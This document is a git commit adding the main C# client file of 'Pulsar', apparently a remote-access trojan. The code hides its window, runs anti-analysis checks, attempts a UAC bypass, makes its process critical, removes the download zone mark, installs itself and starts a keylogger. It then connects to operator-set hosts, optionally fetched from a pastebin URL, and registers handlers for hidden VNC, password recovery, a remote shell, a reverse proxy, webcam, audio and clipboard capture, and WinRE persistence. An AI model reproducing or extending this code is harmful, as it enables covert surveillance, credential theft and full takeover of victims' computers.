initial commit
This commit is contained in:
@@ -0,0 +1,447 @@
|
||||
using Pulsar.Client.Anti;
|
||||
using Pulsar.Client.Config;
|
||||
using Pulsar.Client.Helper.UAC;
|
||||
using Pulsar.Client.Logging;
|
||||
using Pulsar.Client.LoggingAPI;
|
||||
using Pulsar.Client.Messages;
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Client.Setup;
|
||||
using Pulsar.Client.User;
|
||||
using Pulsar.Client.Utilities;
|
||||
using Pulsar.Common.DNS;
|
||||
using Pulsar.Common.Helpers;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.ClientManagement;
|
||||
using Pulsar.Common.UAC;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client
|
||||
{
|
||||
/// <summary>
|
||||
/// The client application which handles basic bootstrapping of the message processors and background tasks.
|
||||
/// </summary>
|
||||
public class PulsarApplication : Form
|
||||
{
|
||||
/// <summary>
|
||||
/// Static reference to the current application instance.
|
||||
/// </summary>
|
||||
public static PulsarApplication Instance { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// A system-wide mutex that ensures that only one instance runs at a time.
|
||||
/// </summary>
|
||||
public SingleInstanceMutex ApplicationMutex;
|
||||
|
||||
/// <summary>
|
||||
/// The client used for the connection to the server.
|
||||
/// </summary>
|
||||
private PulsarClient _connectClient;
|
||||
|
||||
/// <summary>
|
||||
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
|
||||
/// </summary>
|
||||
private readonly List<IMessageProcessor> _messageProcessors;
|
||||
|
||||
/// <summary>
|
||||
/// The background keylogger service used to capture and store keystrokes.
|
||||
/// </summary>
|
||||
private KeyloggerService _keyloggerService;
|
||||
|
||||
/// <summary>
|
||||
/// Keeps track of the user activity.
|
||||
/// </summary>
|
||||
private ActivityDetection _userActivityDetection;
|
||||
|
||||
private ActiveWindowChecker _activeWindowChecker;
|
||||
private ClipboardChecker _clipboardChecker;
|
||||
private DebugLog _debugLog;
|
||||
|
||||
private bool _deferredProcessorsRegistered;
|
||||
|
||||
private static readonly string[] SharpDxAssemblies =
|
||||
{
|
||||
"SharpDX",
|
||||
"SharpDX.Direct3D11",
|
||||
"SharpDX.Direct2D1",
|
||||
"SharpDX.DXGI",
|
||||
"SharpDX.D3DCompiler",
|
||||
"SharpDX.Mathematics"
|
||||
};
|
||||
|
||||
private static readonly string[] WebcamAssemblies =
|
||||
{
|
||||
"AForge",
|
||||
"AForge.Video",
|
||||
"AForge.Video.DirectShow"
|
||||
};
|
||||
|
||||
private static readonly string[] AudioAssemblies =
|
||||
{
|
||||
"NAudio.Core",
|
||||
"NAudio.Wasapi",
|
||||
"NAudio.WinForms",
|
||||
"NAudio.WinMM"
|
||||
};
|
||||
|
||||
/// <summary>
|
||||
/// Gets the clipboard checker instance.
|
||||
/// </summary>
|
||||
public ClipboardChecker ClipboardChecker => _clipboardChecker;
|
||||
|
||||
/// <summary>
|
||||
/// Determines whether an installation is required depending on the current and target paths.
|
||||
/// </summary>
|
||||
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
|
||||
|
||||
/// <summary>
|
||||
/// Notification icon used to show notifications in the taskbar.
|
||||
/// </summary>
|
||||
private readonly NotifyIcon _notifyIcon;
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="PulsarApplication"/> class.
|
||||
/// </summary>
|
||||
public PulsarApplication()
|
||||
{
|
||||
Instance = this;
|
||||
_messageProcessors = new List<IMessageProcessor>();
|
||||
_notifyIcon = new NotifyIcon();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Starts the application.
|
||||
/// </summary>
|
||||
/// <param name="e">An System.EventArgs that contains the event data.</param>
|
||||
protected override void OnLoad(EventArgs e)
|
||||
{
|
||||
Visible = false;
|
||||
ShowInTaskbar = false;
|
||||
Run();
|
||||
base.OnLoad(e);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Begins running the application.
|
||||
/// </summary>
|
||||
public void Run()
|
||||
{
|
||||
// decrypt and verify the settings
|
||||
if (!Settings.Initialize())
|
||||
Environment.Exit(1);
|
||||
|
||||
DeferredAssemblyManager.Initialize();
|
||||
|
||||
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
|
||||
|
||||
// check if process with same mutex is already running on system
|
||||
if (!ApplicationMutex.CreatedNew)
|
||||
Environment.Exit(2);
|
||||
|
||||
Manager.StartAnti();
|
||||
|
||||
if (Settings.UACBYPASS && !UAC.IsAdministrator())
|
||||
{
|
||||
Debug.WriteLine("Attempting UAC bypass...");
|
||||
Bypass.DoUacBypass();
|
||||
Environment.Exit(5);
|
||||
}
|
||||
|
||||
if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator())
|
||||
{
|
||||
Debug.WriteLine("Setting process as critical...");
|
||||
NativeMethods.RtlSetProcessIsCritical(1, 0, 0);
|
||||
}
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
|
||||
|
||||
var installer = new ClientInstaller();
|
||||
|
||||
if (IsInstallationRequired)
|
||||
{
|
||||
// close mutex before installing the client
|
||||
ApplicationMutex.Dispose();
|
||||
|
||||
try
|
||||
{
|
||||
installer.Install();
|
||||
Environment.Exit(3);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
// (re)apply settings and proceed with connect loop
|
||||
installer.ApplySettings();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
}
|
||||
|
||||
if (Settings.ENABLELOGGER)
|
||||
{
|
||||
DeferredAssemblyManager.RunWhenAvailable(
|
||||
new[] { "Gma.System.MouseKeyHook" },
|
||||
() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_keyloggerService != null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
if (!DeferredAssemblyManager.TryEnsureAssembliesLoaded("Gma.System.MouseKeyHook"))
|
||||
{
|
||||
Debug.WriteLine("Keylogger dependencies not yet available; deferring start.");
|
||||
return;
|
||||
}
|
||||
|
||||
_keyloggerService = new KeyloggerService();
|
||||
_keyloggerService.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Failed to start keylogger: {ex.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
PulsarClient client;
|
||||
string hosts = Settings.HOSTS;
|
||||
|
||||
if (Settings.PASTEBIN &&
|
||||
(hosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) ||
|
||||
hosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
Debug.WriteLine("Using pastebin mode with URL: " + hosts);
|
||||
var hostsManager = new HostsManager(hosts);
|
||||
client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE);
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine("Using standard host list mode");
|
||||
var hostsList = new HostsConverter().RawHostsToList(hosts);
|
||||
var hostsManager = new HostsManager(hostsList);
|
||||
client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE);
|
||||
}
|
||||
|
||||
_connectClient = client;
|
||||
_connectClient.ClientState += ConnectClientOnClientState;
|
||||
InitializeMessageProcessors(_connectClient);
|
||||
|
||||
_userActivityDetection = new ActivityDetection(_connectClient);
|
||||
_userActivityDetection.Start();
|
||||
|
||||
_activeWindowChecker = new ActiveWindowChecker(_connectClient);
|
||||
_clipboardChecker = new ClipboardChecker(_connectClient);
|
||||
UniversalDebugLogger.Initialize(_connectClient);
|
||||
_debugLog = new DebugLog();
|
||||
|
||||
new Thread(() =>
|
||||
{
|
||||
// Start connection loop on new thread and dispose application once client exits.
|
||||
// This is required to keep the UI thread responsive and run the message loop.
|
||||
_connectClient.ConnectLoop();
|
||||
Environment.Exit(0);
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
|
||||
[System.Runtime.CompilerServices.MethodImpl(
|
||||
System.Runtime.CompilerServices.MethodImplOptions.NoInlining |
|
||||
System.Runtime.CompilerServices.MethodImplOptions.NoOptimization)]
|
||||
private void ConnectClientOnClientState(Networking.Client s, bool connected)
|
||||
{
|
||||
if (connected)
|
||||
{
|
||||
_notifyIcon.Text = "Pulsar Client\nConnection established";
|
||||
|
||||
string currentWindowTitle = GetCurrentWindowTitle();
|
||||
_connectClient.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle });
|
||||
}
|
||||
else
|
||||
_notifyIcon.Text = "Pulsar Client\nNo connection";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the title of the currently active window.
|
||||
/// </summary>
|
||||
/// <returns>The title of the active window.</returns>
|
||||
private string GetCurrentWindowTitle()
|
||||
{
|
||||
const int nChars = 256;
|
||||
StringBuilder buff = new StringBuilder(nChars);
|
||||
IntPtr handle = NativeMethods.GetForegroundWindow();
|
||||
|
||||
if (NativeMethods.GetWindowText(handle, buff, nChars) > 0)
|
||||
{
|
||||
return buff.ToString();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
|
||||
/// </summary>
|
||||
/// <param name="client">The client which handles the connection.</param>
|
||||
/// <remarks>Always initialize from UI thread.</remarks>
|
||||
private void InitializeMessageProcessors(PulsarClient client)
|
||||
{
|
||||
RegisterProcessor(new DeferredAssemblyHandler());
|
||||
RegisterProcessor(new CommandHandler());
|
||||
|
||||
RegisterProcessor(new PreviewHandler());
|
||||
RegisterProcessor(new PingHandler());
|
||||
RegisterProcessor(new QuickCommandHandler());
|
||||
RegisterProcessor(new HVNCHandler());
|
||||
RegisterProcessor(new ClientServicesHandler(this, client));
|
||||
RegisterProcessor(new FileManagerHandler(client));
|
||||
RegisterProcessor(new KeyloggerHandler());
|
||||
RegisterProcessor(new MessageBoxHandler());
|
||||
RegisterProcessor(new ClipboardHandler());
|
||||
RegisterProcessor(new FunStuffHandler());
|
||||
RegisterProcessor(new PasswordRecoveryHandler());
|
||||
RegisterProcessor(new RegistryHandler());
|
||||
RegisterProcessor(new RemoteShellHandler(client));
|
||||
RegisterProcessor(new ReverseProxyHandler(client));
|
||||
RegisterProcessor(new ShutdownHandler());
|
||||
RegisterProcessor(new StartupManagerHandler());
|
||||
RegisterProcessor(new SystemInformationHandler());
|
||||
RegisterProcessor(new TaskManagerHandler(client));
|
||||
RegisterProcessor(new TcpConnectionsHandler());
|
||||
RegisterProcessor(new WebsiteVisitorHandler());
|
||||
RegisterProcessor(new RemoteScriptingHandler());
|
||||
RegisterProcessor(new RemoteChatHandler());
|
||||
RegisterProcessor(new WinREPersistenceHandler());
|
||||
|
||||
ScheduleDeferredMessageProcessors(client);
|
||||
}
|
||||
|
||||
private void RegisterProcessor(IMessageProcessor processor)
|
||||
{
|
||||
if (processor == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
bool shouldRegister;
|
||||
lock (_messageProcessors)
|
||||
{
|
||||
shouldRegister = !_messageProcessors.Contains(processor);
|
||||
if (shouldRegister)
|
||||
{
|
||||
_messageProcessors.Add(processor);
|
||||
}
|
||||
}
|
||||
|
||||
if (shouldRegister)
|
||||
{
|
||||
MessageHandler.Register(processor);
|
||||
}
|
||||
}
|
||||
|
||||
private void ScheduleDeferredMessageProcessors(PulsarClient client)
|
||||
{
|
||||
DeferredAssemblyManager.RunWhenAvailable(
|
||||
DeferredAssemblyManager.SecondaryAssemblies,
|
||||
() =>
|
||||
{
|
||||
Action registerAction = () => RegisterDeferredMessageProcessors(client);
|
||||
|
||||
try
|
||||
{
|
||||
if (InvokeRequired)
|
||||
{
|
||||
BeginInvoke((Action)registerAction);
|
||||
}
|
||||
else
|
||||
{
|
||||
registerAction();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Failed to schedule deferred message processors: {ex.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void RegisterDeferredMessageProcessors(PulsarClient client)
|
||||
{
|
||||
if (_deferredProcessorsRegistered)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
_deferredProcessorsRegistered = true;
|
||||
|
||||
try
|
||||
{
|
||||
DeferredAssemblyManager.TryEnsureAssembliesLoaded(SharpDxAssemblies);
|
||||
DeferredAssemblyManager.TryEnsureAssembliesLoaded(WebcamAssemblies);
|
||||
DeferredAssemblyManager.TryEnsureAssembliesLoaded(AudioAssemblies);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Deferred assembly load error: {ex.Message}");
|
||||
}
|
||||
|
||||
RegisterProcessor(new RemoteDesktopHandler());
|
||||
RegisterProcessor(new RemoteWebcamHandler());
|
||||
RegisterProcessor(new AudioHandler());
|
||||
RegisterProcessor(new AudioOutputHandler());
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
|
||||
/// </summary>
|
||||
private void CleanupMessageProcessors()
|
||||
{
|
||||
List<IMessageProcessor> processorsCopy;
|
||||
|
||||
lock (_messageProcessors)
|
||||
{
|
||||
processorsCopy = new List<IMessageProcessor>(_messageProcessors);
|
||||
_messageProcessors.Clear();
|
||||
}
|
||||
|
||||
foreach (var msgProc in processorsCopy)
|
||||
{
|
||||
MessageHandler.Unregister(msgProc);
|
||||
if (msgProc is IDisposable disposableMsgProc)
|
||||
{
|
||||
disposableMsgProc.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
CleanupMessageProcessors();
|
||||
_keyloggerService?.Dispose();
|
||||
_userActivityDetection?.Dispose();
|
||||
ApplicationMutex?.Dispose();
|
||||
_connectClient?.Dispose();
|
||||
_notifyIcon.Visible = false;
|
||||
_notifyIcon.Dispose();
|
||||
_debugLog?.Dispose(); // Dispose DebugLog
|
||||
}
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user